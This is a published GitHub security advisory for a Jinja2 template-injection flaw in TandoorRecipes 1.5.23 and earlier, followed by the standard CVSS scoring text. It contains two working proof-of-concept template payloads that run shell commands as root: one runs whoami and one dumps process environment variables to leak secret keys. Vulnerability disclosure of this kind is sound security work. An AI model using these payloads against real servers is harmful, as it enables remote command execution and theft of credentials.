Skip to content

SSTI - Remote Code Execution

Critical
vabene1111 published GHSA-r6rj-h75w-vj8v Jan 28, 2025

Package

TandoorRecipes

Affected versions

<= 1.5.23

Patched versions

1.5.24

Description

Summary

A Jinja2 SSTI vulnerability allows any user to execute commands on the server. In the case of the provided Docker Compose file as root.

Details

Affected Code:

return _('Could not parse template code.') + ' Error: Template Syntax broken'

User input is put unsanitized into the template.

The exploitation wasn't as simple as copy pasting an existing payload from a cheatsheet, because the markdown conversion renders some special characters useless, such as _ * ` [foo](bar). However after a bit of tinkering I was able to create a working POC:

PoC

When creating a recipe, a user can use Jinja2 Template Syntax in the instructions. This can be exploited as follows:

{{()|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(418)('whoami',shell=True,stdout=-1)|attr('communicate')()|attr('\x5f\x5fgetitem\x5f\x5f')(0)|attr('decode')('utf-8')}}

If the recipe is viewed, the result of the command whoami is shown. In the case of the dockerfile, it's the root user:

image

Now we can enumerate the filesystem, get a shell or even try do a docker escape...

Another command which leaks secret keys:
{{()|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(418)('for e in $(ls /proc/*/environ); do echo; echo $e; xargs -0 -a $e; done',shell=True,stdout=-1)|attr('communicate')()|attr('\x5f\x5fgetitem\x5f\x5f')(0)|attr('decode')('utf-8')}}

image

Impact

Command Execution on the Server. Potentially full compromise of the server.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CVE ID

CVE-2025-23211

Weaknesses

Improper Neutralization of Special Elements Used in a Template Engine

The product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine. Learn more on MITRE.

Credits